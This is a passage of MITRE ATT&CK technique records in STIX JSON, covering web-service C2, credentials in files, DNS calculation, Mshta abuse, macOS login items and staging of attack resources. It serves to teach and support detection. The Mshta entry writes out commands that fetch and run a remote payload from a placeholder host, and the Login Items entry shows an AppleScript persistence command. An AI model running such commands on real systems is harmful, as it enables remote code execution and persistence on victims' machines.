uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","created":"2017-05-31T21:31:13.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1102","external_id":"T1102"},{"source_name":"Broadcom BirdyClient Microsoft Graph API 2024","description":"Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.","url":"https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T14:28:43.639Z","name":"Credentials In Files","description":"Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Rory McCune, Aqua Security","Jay Chen, Palo Alto Networks","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","Microsoft Threat Intelligence Center (MSTIC)"],"x_mitre_deprecated":false,"x_mitre_detection":"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Access"],"x_mitre_system_requirements":["Access to files"],"type":"attack-pattern","id":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","created":"2020-02-04T12:52:13.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/001","external_id":"T1552.001"},{"source_name":"CG 2014","description":"CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.","url":"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"Unit 42 Unsecured Docker Daemons","description":"Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.","url":"https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"},{"source_name":"Specter Ops - Cloud Credential Storage","description":"Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.","url":"https://posts.specterops.io/head-in-the-clouds-bd038bb69e48"},{"source_name":"SRD GPP","description":"Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.","url":"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1","type":"attack-pattern","created":"2020-03-11T14:56:34.154Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568.003","url":"https://attack.mitre.org/techniques/T1568/003"},{"url":"http://www.crowdstrike.com/blog/whois-numbered-panda/","description":"Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.","source_name":"Meyers Numbered Panda"},{"url":"https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html","description":"Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin’s Favorite APT Group [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2014"},{"source_name":"Rapid7G20Espionage","description":"Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.","url":"https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"}],"modified":"2020-03-27T20:54:28.287Z","name":"DNS Calculation","description":"Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["@ionstorm","Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank","Ricardo Dias"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","type":"attack-pattern","created":"2020-01-23T19:32:49.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.005","url":"https://attack.mitre.org/techniques/T1218/005"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"},{"source_name":"Red Canary HTA Abuse Part Deux","description":"McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.","url":"https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html","description":"Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.","source_name":"FireEye Attacks Leveraging HTA"},{"description":"Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.","source_name":"Airbus Security Kovter Analysis","url":"https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"Wikipedia HTML Application","description":"Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.","url":"https://en.wikipedia.org/wiki/HTML_Application"},{"source_name":"MSDN HTML Applications","description":"Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.","url":"https://msdn.microsoft.com/library/ms536471.aspx"},{"source_name":"LOLBAS Mshta","url":"https://lolbas-project.github.io/lolbas/Binaries/Mshta/","description":"LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."}],"modified":"2022-03-11T20:38:28.802Z","name":"Mshta","description":"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","Command: Command Execution","Network Traffic: Network Connection Creation"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","type":"attack-pattern","created":"2021-10-05T21:26:15.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1547.015","url":"https://attack.mitre.org/techniques/T1547/015"},{"source_name":"Open Login Items Apple","url":"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac","description":"Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html","description":"Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.","source_name":"Adding Login Items"},{"source_name":"SMLoginItemSetEnabled Schroeder 2013","url":"https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/","description":"Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021."},{"source_name":"Launch Services Apple Developer","url":"https://developer.apple.com/documentation/coreservices/launch_services","description":"Apple. (n.d.). Launch Services. Retrieved October 5, 2021."},{"source_name":"ELC Running at startup","url":"https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/","description":"hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021."},{"source_name":"Login Items AE","url":"https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788","description":"Apple. (n.d.). Login Items AE. Retrieved October 4, 2021."},{"source_name":"Startup Items Eclectic","url":"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/","description":"hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."},{"source_name":"Add List Remove Login Items Apple Script","url":"https://gist.github.com/kaloprominat/6111584","description":"kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021."},{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"CheckPoint Dok","url":"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/","description":"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021."},{"source_name":"objsee netwire backdoor 2019","url":"https://objective-see.com/blog/blog_0x44.html","description":"Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021."},{"source_name":"objsee block blocking login items","url":"https://objective-see.com/blog/blog_0x31.html","description":"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."},{"source_name":"Launch Service Keys Developer Apple","url":"https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1","description":"Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021."}],"modified":"2021-10-18T16:36:37.042Z","name":"Login Items","description":"Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled.\n\nLogin items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\n\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\n\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","File: File Modification"],"x_mitre_permissions_required":["User"]},{"modified":"2022-10-19T22:01:05.551Z","name":"Stage Capabilities","description":"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0","created":"2021-03-17T20:04:09.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608","external_id":"T1608"},{"source_name":"Volexity Ocean Lotus November 2020","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"},{"source_name":"Netskope GCP Redirection","description":"Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.","url":"https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"},{"source_name":"Netskope Cloud Phishing","description":"Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.","url":"https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"},{"source_name":"ATT ScanBox","description":"Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.","url":"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"},{"source_name":"DigiCert Install SSL Cert","description":"DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.","url":"https://www.digicert.com/kb/ssl-certificate-installation.htm"},{"source_name":"Gallagher 2015","description":"Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.","url":"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"},{"source_name":"Malwarebytes Heroku Skimmers","description":"Jérôme Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.","url":"https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"},{"source_name":"Dragos Heroku Watering Hole","description":"Kent Backman. (2021, May 18). When Intrusions Don’t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.","url":"https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"},{"source_name":"FireEye CFR Watering Hole 2012","description":"Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.","url":"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"},{"source_name":"Malwarebytes Silent Librarian October 2020","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"},{"source_name":"Proofpoint TA407 September 2019","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-16T20:09:41.391Z","name":"Link Target","description":"Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Menachem Goldstein","Hen Porcilan","Diyar Saadi Ali","Nikola Kovac"],"x_mitre_deprecated":false,"x_mitre_detection":"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.4","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701","created":"2021-03-17T20:35:08.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1608/005","external_id":"T1608.005"},{"source_name":"Netskope GCP Redirection","description":"Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.","url":"https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"},{"source_name":"Netskope Cloud Phishing","description":"Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.","url":"https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"},{"source_name":"URI Unique","description":"Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.","url":"https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"},{"source_name":"Kaspersky-masking","description":"Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.","url":"https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"},{"source_name":"Talos IPFS 2022","description":"Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.","url":"https://blog.talosintelligence.com/ipfs-abuse/"},{"source_name":"Malwarebytes Silent Librarian October 2020","description":"Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.","url":"https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"},{"source_name":"URI","description":"Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.","url":"https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"},{"source_name":"URI Use","description":"Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.","url":"https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"},{"source_name":"iOS URL Scheme","description":"Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.","url":"https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"},{"source_name":"Intezer App Service Phishing","description":"Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.","url":"https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"},{"source_name":"Proofpoint TA407 September 2019","description":"Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent 